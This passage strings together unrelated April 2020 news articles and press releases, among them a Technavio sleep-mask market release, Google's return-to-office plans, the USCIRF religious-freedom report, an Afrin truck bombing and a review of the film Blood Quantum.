encountered one another in the year 1000 were much closer technologically. The Thule peoples, the ancestors of the modern Inuit, mastered seal-hunting technologies that allowed them after 1000 to settle a broad band of northern territory stretching from Alaska all the way to Greenland. The failure of the Scandinavians to adapt to the northern climes ultimately forced them to withdraw from Greenland. Some parts of the world, such as China and the Middle East, flourished while others, Europe in particular, lagged behind. In fact, the world of 1000 looks much more like our world today in which the Chinese, Arabs and Americans are all genuine rivals to the Europeans. As peoples living in different regions established contact with one another around the year 1000, they set the stage for the next phase of globalization in the 1500s when the Europeans reshaped existing networks to suit their own interests. But the Europeans did not invent globalization. They changed and augmented what was already there since 1000. If globalization hadnt yet begun, Europeans wouldnt have been able to penetrate the markets in so many places as quickly as they did after 1492. The most important lesson we can learn from our forebears is how best to react to the unfamiliar. Some Vikings killed the residents of northeastern Canada as they slept under canoes without even checking to see if they were dangerous. On other continents, those who encountered strangers took their time, greeted strangers patiently and traded their belongings for whatever goods their new acquaintances offered. Some of the most successful learned new languages and forged trading relationships across huge distances. True, globalization did not benefit everyone who experienced it. But those who remained open to the unfamiliar did much better than those who rejected anything new. That was true in the year 1000, and it is just as true today. By Valerie Hansen via Yale Global Online More Top Reads From Safehaven.com: Minister for Works and Housing, Samuel Atta Akyea has warned landlords to abide by the countrys rent law. According to him, it would be UnGhanaian for landlords to take advantage of the Coronavirus (Covid-19) situation to exploit tenants for their monetary gains. He said the Ministry will not hesitate to enforce the rent control law of the land if landlords are found culpable. The minister who was speaking at the Ministry of Information press briefing in Accra also urged landlords not to rent out rooms to foreigners taking into consideration the fact that Ghanas coronavirus cases were imported. He said the Presidents show of sympathy and patriotism during this time of coronavirus should guide landlords in their relationship with their tenants. Daily Guide Technavio has been monitoring the sleep mask market and it is poised to grow by USD 2.3 billion during 2019-2023, progressing at a CAGR of over 6% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005054/en/ Technavio has announced its latest market research report titled Global Sleep Mask Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Amorepacific Corp., Beiersdorf AG, CHANEL SAS, Christian Dior SE, Groupe Clarins, L'Oreal SA, Shiseido Co. Ltd., The Estee Lauder Companies Inc., The Procter Gamble Co., and Unilever Group are some of the major market participants. The new product launches will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. New product launches have been instrumental in driving the growth of the market. Sleep Mask Market 2019-2023: Segmentation Sleep Mask Market is segmented as below: Distribution Channel Offline Online Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR32040 Sleep Mask Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our sleep mask market report covers the following areas: Sleep Mask Market Size Sleep Mask Market Trends Sleep Mask Market Industry Analysis This study identifies increasing investments and M&A activities as one of the prime reasons driving the sleep mask market growth during the next few years. Sleep Mask Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the sleep mask market, including some of the vendors such as Amorepacific Corp., Beiersdorf AG, CHANEL SAS, Christian Dior SE, Groupe Clarins, L'Oreal SA, Shiseido Co. Ltd., The Estee Lauder Companies Inc., The Procter Gamble Co., and Unilever Group. Backed with competitive intelligence and benchmarking, our research reports on the sleep mask market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Sleep Mask Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist sleep mask market growth during the next five years Estimation of the sleep mask market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the sleep mask market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of sleep mask market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY DISTRIBUTION CHANNEL Market segmentation by distribution channel Comparison by distribution channel Offline Market size and forecast 2018-2023 Online Market size and forecast 2018-2023 Market opportunity by distribution channel PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison Europe Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Growing influence of digital media on consumers Increasing investments and M&A activities Growing demand among millennial and middle age population PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Amorepacific Corp. Beiersdorf AG CHANEL SAS Christian Dior SE Groupe Clarins L'Oreal SA Shiseido Co. Ltd. The Estee Lauder Companies Inc. The Procter Gamble Co. Unilever Group PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005054/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Jane Bunn is anything but inconsistent, unlike Melbourne's weather. The 40-year-old meteorologist has barely aged a day in 10 years after dedicating the last decade or so to updating viewers of changes in temperature across Victoria. In her most recent Instagram uploads, the Channel Seven star looked identical to throwback pictures of when she started her career on The Weather Channel in 2008. Youthful! Australia's favourite weather presenter Jane Bunn has barely aged a day since starting her career over a decade ago. Pictured: Left Jane in 2010, right Jane on Monday Jane has kept her style consistent and maintained her very youthful complexion. On Monday, she wore a dark curve-enhancing dress from designer Karengee. It was hard to tell difference between Jane then and a picture of her wearing a very similar coloured dress to report the weather 10 years ago. Stunning: The 40-year-old meteorologist has kept her style consistent, and kept her very youthful complexion. Pictured: Jane in 2010 Subtle: Although she has maintained her style with modest dresses with low-cut necklines, these days her fashion choices are more tailored to highlight her stunning curves. Pictured in 2019 The only change to Jane's familiar presence is her adapting to emerging trends. Although she has maintained her style with modest dresses with low-cut necklines, these days her fashion choices are more tailored to highlight her stunning curves. However, her hairstyle hasn't changed and she appears as youthful as ever, allowing her natural beauty to shine with an ever present neutral makeup palette. Can you spot the difference? Jane's hairstyle hasn't changed and she appears as youthful as ever. Pictured: Left Jane in 2016, right Jane in 2019 After transitioning from Sky News' The Weather Channel to WIN News Victoria in 2009, Jane first started to amass a growing fan base. She initially attracted a following from farmers reliant on her daily bulletins. Jane later enjoyed a stint at ABC, before finding a home on Seven News Melbourne, with many locals now branding her Australia's most popular weather presenter. In 2018, one super-fan known only as 'Scott' had Jane's face tattooed to his body. Consistent: Jane's familiar look and warm presence has earned her a growing following over the years as she's changed networks. Pictured: Left Jane in 2016, right Jane in 2020 You are here: Business The State Council has approved an overall plan on establishing a demonstration zone for cooperation between China and the Republic of Korea (ROK) in Changchun, capital of northeast China's Jilin Province, said a circular issued Monday. Construction of the demonstration zone should proceed under the principle of high-quality development, in an effort to establish a multifaceted open cooperation structure covering industries, technologies, trade, social studies and environmental protection, the circular said. Efforts will be made to usher in an international cooperation mechanism, a modern industrial system, a law-based, international and convenient business environment, and improved management services in the demonstration zone. Once established, the demonstration zone will inject new vitality into the joint building of the Belt and Road Initiative and overall revitalization of the northeast region. The Jilin provincial authority should step up guidance in this regard, improve the coordination mechanism, enact support policies and improve the planning system. State Council departments should strengthen guidance on the construction of the demonstration zone, provide support and help address any difficulties. The National Development and Reform Commission should follow up with the implementation of the plan, conduct timely assessments and report major issues to the State Council. Alphabet CEO Sundar Pichai began discussing the company's plans to allow workers back into the office, according to an email sent to employees Monday that was viewed by CNBC. In the email, Pichai said workers can expect a "staggered" and "incremental" return to the office, but nothing will happen until at least June 1. Alphabet, the parent company of Google, is scheduled to report its first-quarter earnings after the bell on Tuesday. The company will have workers return "gradually" to ease anxiety around leaving home, Pichai added. "Not everyone at a site will go back at once," he said. "There will be no one-size-fits-all approach, and the specific guidance will vary from location to location." Pichai's plan was previously reported by Business Insider. The latest plan comes as the company tries to mobilize its massive workforce, many of whom have asked leadership about the future of their return to offices amid spending and hiring changes. It comes more than a month after Google was one of the first large companies to recommend employees work from home in early March in order to prevent the coronavirus from spreading. CNBC first reported Alphabet executives' detailed initial planning, which took place weeks before the virus was considered a global pandemic. "I know that many of you have questions about what a return to the office might look like, and when," Pichai said in his email to employees. "The six counties around Google's headquarters in California have just announced an extension to the stay-at-home order through the end of May, while many other localities around the world are issuing their own guidance." Pichai went on to say he does not have a specific date for return, however he said, "everyone who is in a recommended or mandatory work-from-home status should assume that will continue until at least June 1, 2020." Pichai noted that workers are still being told they can work from the office if they're in the Asia Pacific region. "Please continue to follow your site-specific guidance," he said. Even when offices do begin to reopen, workers taking care of family members or who have "special considerations" won't have to return immediately, he noted. They'll have the option to work with their managers on a "flexible" approach, he said. Pichai said the company has "high level principles" that are guiding the return decisions. "We were one of the first companies to move to WFH, we will be equally careful about our transition back to the office," he wrote. Upon their return, teams will continue to monitor local conditions and adjust accordingly, leaning on health agencies, medical community and the company's Global and Regional Incident Response Teams that are "constantly evaluating data," Pichai said. Pichai also said it will continue some remote working and online events even after restrictions are lifted. The pandemic's been an "opportunity to reimagine" how the company works, he said. "I know that the prospect of returning to the office will produce different emotions for everyone," Pichai said. "Some of us will be eager to return to our familiar workspaces and see colleagues. For others, leaving loved ones and the shelter of our homes may cause anxiety." Pichai also thanked employees that have continued to come onsite for offices and data centers. "For those of you currently working onsite to provide critical services to keep our products, offices and data centers running, thank you!" Pichai said. "Your work has made it possible for us to help millions of others. I am grateful for everything our global teams are doing to deliver on our mission under these difficult circumstances." From delivering cakes to oxygen cylinder or netting a slimy serpent, cops in Kerala are playing good samaritans, helping people in distress and bringing cheer during the COVID-19 lockdown. Forty nine-year-old Rosamma, from a tribal hamlet in the high range idukki district was taken aback recently seeing the men in khaki at her door stepwithan oxygen cylinder and equally surprised was 60-year-old Jancey from Kaipamangalam in Thrissur whenthey knocked her door and gave her a birthday cake. Rosamma was suffering from lung disease for years and was undergoing treatment sinceover two years years at Kottayam medical college. "She came back to her home last year and the tribal department was taking care of her treatment expenses. But for last four months, a payment of Rs 40,000 was pending from the department," a family source said. As the woman was unable to get an oxygen cylinder due to the lockdown, Adimali police came forward to help her. "We decided to provide her with an oxygen cylinder which she was in badlyin need and also gifted her provisions that can last for more than two weeks," a police officer from Adimali said. On April 25 night, the Kaipangalam police received a strange request from 11-year-old Lenna from Qatar, who wanted to know if they would deliver a cake to her grandmother who had turned 60. "Police uncle can you help us? We are in Qatar. It is my grandmnother's60th birthday on Sunday. Can you send a birthday cake to her?. Its her 60th borthday and the family was supposed to come to Kerala, But due to lockdown we are stuck here", she told the police personnel. The cops also spoke to her parents and promised to deliver the cake the following day. On Sunday monring, Jancey and her husband were shocked on seeing the policemen. "But we told them there was nothing to worry and that we had dropped in to deliver a birthday cake to her", police said. The police personnel also had a video chat with lenna, showed her grandmother with the cake and the child was overjoyed, they said. On the request of the parents, who are stuck in Italy due to the lockdown, cops recently handed over a cake to three- year-old Marya Rose at Mala in Thrissur district. Police sources told PTI they had anotherunusual request for help from a person who was abroad saying that her elderly parents were living alone in the state capital and had found a serpent. A team was immediately sent with a snake catcher, and the nocturnal visitor was caught and taken off, much to the relief of the elderly couple. Another plea was from a man from Kannur who urgently needed "Marimani Thylam" (an Ayurvedic pain reliever), which was also provided,the sources said. Policemen have also been active in spreading the message of hand washing and social distancing. Representative image The World Health Organisation (WHO) has reportedly shown parts of Ladakh as Chinese territory. The health organisations website shows the Aksai Chin region as a part of China with a dotted line and colour code. Furthermore, the WHO map also marks Pakistan-occupied Kashmir (PoK) with dotted lines, suggesting it as a disputed territory. Jammu and Kashmir (J&K) and the rest of India are marked in different colour codes. While several United Nations (UN) maps have shown parts of Kashmir as disputed territory in the past, this is probably the first time that Ladakh and J&K are shown in different colour codes than the rest of India. Gautam Bambawale, Indias former envoy to China, Pakistan and Bhutan told The Economic Times (ET), The map of India depicted by WHO differs from the standard depiction even of the United Nations itself, by not showing parts of J&K which are under actual control of India as a part of our country. He further added that the different colour coding for JnK and Ladakh from the rest of India in the WHO map is strange, incorrect, and surprising. In one such previous instance, China recently included parts of Arunachal Pradesh which it calls a part of South Tibet within its international boundaries, according to an updated version of the Sky Map. President Donald Trump said Tuesday he had spoken with the families of three or four coronavirus victims he's done business with as the death toll from the disease approaches 60,000. 'I know many stories. I've spoken with three or four families unrelated to me. I lost a very good friend. Also lost three other friends, two of whom I didn't know as well but they were friends and people I did business with. And it's a bad death. It's a bad thing,' Trump said at an event in the East Room in the White House. The president's very good friend was Stanley I. Chera, a friend and donor who died on April 12 from the virus. He was 78. President Donald Trump said he had spoken with the families of three or four coronavirus victims he's done business with Stanley I. Chera (center), a prominent real estate developer in New York and friend of Trump's, died from complications of the coronavirus on April 12 Trump has repeatedly mentioned Chera when he talks about the coronavirus in an effort to show how he has been personally affected by the disease. In mid-April he met with several patients who had survived the coronavirus. As New York quickly became the epicenter of COVID-19 cases in the country, Trump reportedly advised Chera to leave the city and travel to his summer home in New Jersey. Chera followed Trump's advice but contracted COVID-19 anyway. He was transported to New York Presbyterian/Weill Cornell Medical Center in late March. Chera's wife, Frieda or 'Cookie', also tested positive for the coronavirus, but has since recovered, according to a source familiar with the familiar with the matter. Trump first spoke about his friend as he described the 'viciousness' of the disease on March 29. 'I had a friend who went to a hospital the other day. He's a little older, and he's heavy, but he's tough person,' Trump said. 'And he went to the hospital, and a day later, he's in a coma...he's not doing well.' 'The speed and the viciousness, especially if it gets the right person, it's horrible. It's really horrible,' he said. The president, who is 73, alluded next to having 'friends' who were ill. 'I have some friends that are unbelievably sick,' Trump said. 'We thought they were going in for a mild stay. And, in one case, hes unconscious - in a coma. And you say, "How did that happen?"' Trump left the impression that having personally knowing someone who had become sick with COVID-19, the disease the virus causes, had influenced his decisions about how to handle the outbreak. Trump's comments on Tuesday come as amid a report the US death toll from the coronavirus outbreak could reach 74,000 by August, according to a leading predictive model - as health experts warn fatalities will increase if states reopen too early. The University of Washington's Institute for Health Metrics and Evaluation model, often cited by White House officials, raised its COVID-19 death toll projections on Monday. Stanley Chera (left), pictured with his wife Frieda (right), reportedly left New York City to escape the rising COVID-19 infections, but contracted the disease anyway The model now projects 74,073 Americans will die from the coronavirus by August 4, which is up from nearly 67,000 a week ago and 60,000 predicted two weeks ago. The latest figure is down from about a month ago when the model projected around 90,000 deaths related to coronavirus in the US. This model, along with several others cited by the Centers for Disease Control and Prevention, predict that reopening states too soon and relaxing social distancing measures will result in even more deaths. Union road transport and highways minister Nitin Gadkari on Tuesday asked the states to act urgently to remove blockades for the smooth movement of trucks carrying essential goods along inter-state borders. In a video conference with state transport ministers, Gadkari said the clearances should be ensured at the earliest for the purpose. Gadkari pulled up the states for delaying the clearances and said nearly 3.5 lakh trucks were stuck because of it at inter-state borders, officials aware of the matter said. The officials said there was no discussion on the resumption of inter-state public transport at the meeting. Gadkari told the ministers that they need to intervene in such matters and ensure resolution of issues through the local and district administrations. At the same time, adhere to health advisories and other guidelines like proper [social] distancing, wearing of masks, use of sanitizers, both by the driver and cleaners and also at the dhabaas [roadside restaurants], Gadkari said. Himachal Pradeshs transport minister, Govind Thakur, said there were several issues related to the movement of goods and transportation that needed to be resolved. There is delay in movement and hence the meeting was called to discuss the hurdles. There was no discussion on public transport yet, which will only take place on May 3 [when the extended Covid-19 lockdown ends], Thakur said. Responding to a suggestion by a state minister, Gadkari said his ministry will start a helpline to resolve the transportation issues. Gadkari suggested the states should explore the operationalisation of app-based two-wheeler taxis, especially in rural areas, to assist farming communities with smoother movement. This will also provide new employment opportunities, Gadkari said. Gadkari said he will accord top priority for national highway construction by two to three times the present pace over the next couple of years. He urged the states to expedite land acquisition and utilise funds that have remained unused. All India Motor Transport Congress president Kultaran Singh Atwal said the movement of vehicles remains a major issue despite the Centres advisories. The e-pass system is not working properly and the movement of staff apart from drivers is still a tedious task. Local restrictions are not helping the transport fraternity. There is no fresh load, no unloading at the factories, godowns or warehouses. Our vehicles also get stuck up for days together apart from harassment by local administration, said Atwal He added the screening process at inter-state borders has left trucks stranded. There is screening process at interstate borders... There are long queues up to 6-7 kilometres and the drivers and crew are stranded without food and water. A US commission mandated to monitor religious freedom globally on Tuesday asked the State Department to designate 14 nations, including India, as "countries of particular concern", alleging that religious minorities are under increasing assault in these nations. These include nine countries that the State Department designated as CPCs in December 2019 - Myanmar, China, Eritrea, Iran, North Korea, Pakistan, Saudi Arabia, Tajikistan and Turkmenistan - as well as five others - India, Nigeria, Russia, Syria, and Vietnam, US Commission for International Religious Freedom (USCIRF) said in its annual report released on Tuesday. In the 2020 edition of its annual report on International Religious Freedom, the USCIRF alleged that in 2019, religious freedom conditions in India experienced a drastic turn downward, with religious minorities under increasing assault. However, two of the nine members have expressed their dissent over the USCIRF recommendation to place India in the CPC. And a third member also expressed his personal view on India. "I must dissent from the decision of my fellow Commissioners to recommend India, the world's largest democracy, for designation as a 'country of particular concern', or CPC, placing India in a gallery of rogue nations in which it does not belong, Commissioner Gary L Bauer wrote in his dissent note. "India does not belong to the same category as authoritarian regimes like China and North Korea. India is the largest democratic nation in the world, where the CAA has been challenged openly by the opposition Congress Party and lawmakers, civil society, and various groups, said Commissioner Tenzin Dorjee. Established by the US Government in 1998 after the inaction of the International Religious Freedom Act, recommendations of USCIRF are non-binding to the State Department. Traditionally, India does not recognize the view of the USCIRF. For more than a decade, it has denied visas to members of the USCIRF. India has earlier said that the American body on international religious freedom has chosen to be guided only by its biases on a matter on which it has no locus standi. In its report, the watchdog alleged that in 2019, the national government in India used its strengthened parliamentary majority to institute national-level policies violating religious freedom across the country, especially for Muslims. "Most notably, it enacted the Citizenship (Amendment) Act, which provides a fast track to Indian citizenship for non-Muslim migrants from Afghanistan, Bangladesh, and Pakistan already residing in India, it alleged. "According to government officials' statements, this law is meant to provide protection for listed non-Muslim religious communitiesbut not for Muslimsagainst exclusion from a nationwide National Register of Citizens and the resulting detention, deportation, and potential statelessness, it said. The Indian government has maintained that the CAA is an internal matter of the country and stressed that the goal is to protect the oppressed minorities of neighbouring countries. "The national and various state governments also allowed nationwide campaigns of harassment and violence against religious minorities to continue with impunity, and engaged in and tolerated hate speech and incitement to violence against them, the USCIRF alleged. Designation of the CPC is the top tier recommendation by the USCIRF when it comes to violation of international religious freedom. It is followed by Special Watch List Countries for severe violations. This year, the USCIRF has recommended 15 countries for placement on the State Department's Special Watch List (SWL) for severe violations. The USCIRF alleged that during 2019, discriminatory policies, inflammatory rhetoric, and tolerance for violence against minorities at the national, state and local level increased the climate of fear among non-Hindu communities. In its report, the watchdog also mentioned about communal riots in Delhi in February 2020, alleging that there were reports of Delhi police, operating under the Home Ministry's authority, failing to halt attacks and even directly participating in the violence. India has previously described the comments by the USCIRF and a "few individuals" over violence in the national capital as "factually inaccurate, misleading" and an attempt to politicise the issue. The USCIRF also recommended to the State Department to impose targeted sanctions on Indian government agencies and officials responsible for severe violations of religious freedom. Among others, it recommended the State Department to allocate funding to support civil society to create a monitoring and early warning system in partnership with police to challenge hate speech and incitement to violence. The US Congress should continue to hold hearings highlighting religious freedom conditions in India and US policy toward India, the USCIRF said. In his individual views, Commissioner Johnnie Moore said that he is gravely concerned that political and inter-communal strife will be further exacerbated by religious tensions, yet he is also heartened that India remains the world's largest democracy, governed by a pristine constitution, and is also encouraged that this great nation is a tremendous friend and ally of the US. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi, April 28 : The Congress on Tuesday slammed the government for writing off loans of top fifty wilful defaulters to the tune of Rs 68,607 crore, saying the government and the Finance Minister should come clean on it. The Congress charged the BJP with helping the defaulters. "Till April 24, Rs 68,607 crore have been written off by the government. The Prime Minister can not evade this question by keeping silent," said Congress Chief spokesperson Randeep Surjewala. The Congress said Rahul Gandhi had asked this question in Parliament, but the government did not respond. "But now an RTI has revealed the magnitude of the waiver," he said. "As much as Rs 8,048 crore have been written off of Mahul Choksi and Nirav Modi. Another diamond merchant Jatin Mehta's Rs 6,048 crore too have been written off, and so is the case with Kingfisher's Vijay Mallya. Similar is the case with the relations of these defaulters," said Surjewala. The Congress said the "Jan-Dhan Gaban Yojna cannot go without the knowledge of the top echelon of the government, including the Prime Minister". The party said such write-offs have come to light at a time when the government is freezing Dearness Allowance of the Central government employees and the Army personnel. The Congress alleged that in the last 5.5 years, the government has written off Rs 5.10 lakh crore of the default money till september 2019. "Now this amount has gone up to Rs 6.66 lakh crore". The Congress has said the government is not willing to give an economic package of Rs 1 lakh crore to the states during the pandemic. "Will the government take any action against wilful defaulters still in the country?" asked the party Social media handle. -- The story has been published from a wire feed without any modifications to the text The Member of Parliament (MP) for Prestea Huni-Valley constituency Hon. Barbara Oteng-Gyasi has donated food items to the constituency chapter of the Ghana Federation of Disability Organisation. The items included Rice, Edible oil, Tomato paste, Tin Fish, Noodles and hand sanitizers. The gesture forms part of her effort to support and provide comfort to persons living with disability in the constituency amid the Covid-19 pandemic. The lawmaker presented the items to the leadership of the federation at the forecourt of the Prestea Huni-Valley Municipal Assembly in Bogoso on Monday, April 27th for onward distribution to all members of the constituency chapter. Mrs. Oteng-Gyasi indicated that the coronavirus outbreak has had a major impact on all lives and as the nation confronts and addresses the global pandemic it was important to assist the vulnerable and support persons with disability who have been impacted by the pandemic and would have difficulties providing food and basic hygiene products for themselves and their families. The MP who has over the years been at the forefront of reaching out to vulnerable groups of people in the constituency assured the leadership of the federation that government will continue to support and take actions that promote and protect persons with disabilities. She urged the executives of the federation to educate their members to particularly abide by the protocols by practicing social distancing, washing of hands regularly with soap under running water, the use of hand sanitizers, avoiding handshakes and reporting of suspected cases to negate the potential for community spread. Chairman of the federation, Mr. Patrick Obeng expressed gratitude to the MP for her continuous support to the federation. He assured that items will be distributed effectively to beneficiaries. Beirut (AFP) - A fuel truck bomb in a market in northern Syria killed at least 46 people including Turkish-backed rebel fighters on Tuesday, the Syrian Observatory for Human Rights said. The blast in Afrin, a city controlled by Ankara's proxies, came as people went shopping in preparation to break the Ramadan fast, according to the US State Department, which condemned the attack as a "cowardly act of evil". Photos released by the Syrian Civil Defence rescue workers, also known as the "White Helmets", showed firefighters battling to douse flames amid gutted buildings and rescue workers carrying charred bodies away from the scene on makeshift stretchers. Rami Abdul Rahman, head of the Britain-based Observatory, a monitor with a network of sources inside Syria, said "at least 46" people had been killed and 50 wounded, some critically, adding that the death toll could rise. At least six pro-Turkish Syrian fighters were among the dead, he added. In a post on its official Twitter account, the Observatory said 11 children were among those killed. It was not immediately clear who was behind the blast, one of the largest to rock Afrin since Turkish troops and allied rebels seized the region from Kurdish forces in March 2018 after a two-month air and ground offensive. The Turkish defence ministry blamed the attack on the Kurdish People's Protection Units (YPG), which it views as a "terrorist" offshoot of the outlawed Kurdistan Workers' Party (PKK). "The enemy of humanity PKK/YPG has once again targeted innocent civilians in Afrin," the Turkish ministry said on Twitter. US State Department spokeswoman Morgan Ortagus said the attack had claimed the "lives of dozens of people shopping in the central market as they prepared to break the Ramadan fast". "Such cowardly acts of evil are unacceptable from any side in this conflict." The PKK has been waging a bloody insurgency in Turkey for three decades. In January, at least seven people were killed in a car bombing in Azaz, another northern city held by pro-Turkey forces, according to the Observatory. The Syrian conflict has killed more than 380,000 people since 2011 and forced more than half of the country's pre-war population from their homes. Washington, D.C.--(Newsfile Corp. - April 28, 2020) - The Securities and Exchange Commission today released the agenda for the Friday, May 8 meeting of its Small Business Capital Formation Advisory Committee, which will be hosted via video conference. The Committee will discuss the Commission's recent Capital Formation Proposal, which proposes amendments to simplify, harmonize, and improve certain aspects of the exempt offering framework. During the meeting, the Committee will also continue its discussion from April 2 on how small businesses are coping with COVID-19 and share observations from their areas of the marketplace. The meeting will take place from 1:00 p.m. through 4:00 p.m. ET and will be webcast live on SEC.gov. The webcast will be archived on the committee's webpage for later viewing. In addition, the SEC's Office of the Advocate for Small Business Capital Formation, which supports the Committee, is convening virtual coffee breaks to engage with the public on how COVID-19 is impacting raising capital. The Committee was established to provide the Commission with advice and recommendations on Commission rules, regulations, and policy matters relating to small businesses, from privately-held emerging companies to smaller public companies. The Committee has recently informed the Commission on a number of pertinent rulemaking and policy priorities, providing valued marketplace feedback into the regulatory process. Additional information on the Committee, including its members, is available on the committee webpage. facebook like button Tweet tweet button for twitter Published April 28, 2020 By Mark Henderson Special to ULM Read more about ULM research, teaching and innovative programs in the new Spring 2020 Takeflight magazine. A team of researchers, including a pharmacologist at the University of Louisiana Monroe, has written a study that points to a possible treatment for a variety of cancers, targeting a mutation in one particular gene. The paper has been published online and is featured in the February edition of Molecular Cancer Therapeutics, the top journal in the cancer therapeutic field. The research shows that injecting Ceramide-Rubusoside nanomicelles into mice can correct the mutation in the p53 gene and reverse the cancer process. PHOTO: University of Louisiana Monroe College of Pharmacy pharmacologist Dr. Yong-Yu Liu, right, working with Ph.D. students Kartik Roy, left, and Sagor Roy, back. ULM Photo Services Yong-Yu Liu, M.D., Ph.D., a pharmacologist in the ULM College of Pharmacy, said publication of the research reflects 10 years of work and holds promise in the treatment of colon, lung, and ovarian cancers. We know cancer is a common disease, and we know that a key issue is gene mutation, Liu said. Inside the DNA of human cells are thousands of genes, and scientists have identified triggers for several forms of cancer. And the No. 1 recent cause of cancer is the mutation of p53, according to Liu. Scientists have known for years about the link between the p53 mutation and cancer. Toxins in the environment, among these tobacco smoke and ultraviolet light, damage the gene. That gene, when healthy, produces a protein that fights off cancer and is known as a tumor suppressor. A mutation changes the way the gene behaves. In some cases, the gene simply stops acting as a suppressor. But in 73 percent of the cases, when p53 mutates, Liu said, the result is a missense mutation in which the protein function changes. It no longer has its anticancer function. In fact, it begins to promote cancer, Liu said. And 42 percent of all cancers are linked to the mutation. Its role in causing ovarian cancer, however, is what concerns Liu and others on the research team the most. Younger women are most prone to get ovarian cancer, and thats why we believe its most vital to study it, He wants to give these victims a chance at a normal life span. When you are passionate about what you do, you want to come to a place that lets you focus on that. I love this place. Dr. Yong-Yu Liu On working at ULM Medical research takes time, however. Progress is measured in years. Ten years ago, Liu and his fellow researchers were experimenting with a single cell with a p53 mutation inside the laboratory when they discovered the introduction of Ceramide, a metabolite, was able to reverse the mutation. But the team faced a roadblock in furthering their research. Ceramide is not water soluble. It cannot mix with water, Liu said. Because of that, we could not get it into the bloodstream. For 10 years, the team searched for a solution. Finally, the team determined treating Ceramide with the natural sugar substitute Rubusoside increased the solubility of Ceramide, allowing for the injection of nanomicelles into laboratory mice with the p53 mutation. The treatment restored the tumor suppression function of the p53 gene in the mice while showing no harm to noncancerous cells. Thats major progress, Liu said. In addition to the publication of the findings, Liu said, the team has applied for patents with hopes of a pharmaceutical company showing interest in licensing the treatment for field studies. PHOTO: Dr. Yong-Yu Liu, a University of Louisiana Monroe College of Pharmacy pharmacologist, has published his research on gene mutation in the treatment of some cancers. ULM Photo Services Co-authors of the study with Liu are Sachin K. Khiste, Kartik R. Roy, Mohammad B. Uddin, Salman B. Hosain and Ronald A. Hill of ULMs College of Pharmacy; Zhijun Liu of LSU Agricultural Centers School of Renewable Natural Resources; Xin Gu of LSUs Health Sciences Center in Shreveport; and Sami Nazzal of the Department of Pharmaceutical Sciences at Texas Tech University Health Science Center, Dallas, Texas. Liu, who was born in China and attended medical school there, studied three years at the University of Rome, worked in Canada and UCLA before joining ULMs faculty, said the work is not done. We have lots of work to show how our process works. Many wont believe it, Liu said. He credits ULM for providing the atmosphere to do his research. When you are passionate about what you do, you want to come to a place that lets you focus on that. I love this place. Click here to read the full article. As George Romero first discovered and hordes of other filmmakers have since refined zombies are a fun and effective vehicle for addressing the most intractable anxieties of the modern world; even bone-deep social ills have a funny way of seeming more digestible when explored through a story about people rabidly eating each others entrails. , Jeff Barnabys Blood Quantum may bite off more human flesh than it can chew, but this hopeful modern howl against the indignities suffered by Canadas indigenous population (the MigMaq in particular) is still a credit to its genre. It may not be a great zombie movie, but its a uniquely powerful reminder of why zombie movies are great. Blood Quantum, a term referring to the genocidal American practice of determining indigeneity by measuring the percentage of a persons native heritage, sets the stage with what might be the single gnarliest opening title card in horror movie history. Its a modified passage from the Book of Exodus that Barnaby attributes to an ancient settler proverb (likely because that sounds way scarier), and its worth reprinting in full to contextualize the lived and inherited trauma that churns inside of this film: More from IndieWire Take heed to thyself, that thou make no treaty with the inhabitants of the land whither thou goest lest it be cause of ruin among you. Break down their altars, smash their sacred stones, and burn down their groves when they whore themselves to their demons and sacrifice to them, you will eat their sacrifices. And when you choose some of their daughters for your sons, they will lead your sons to do the same. Holy shit. Blood 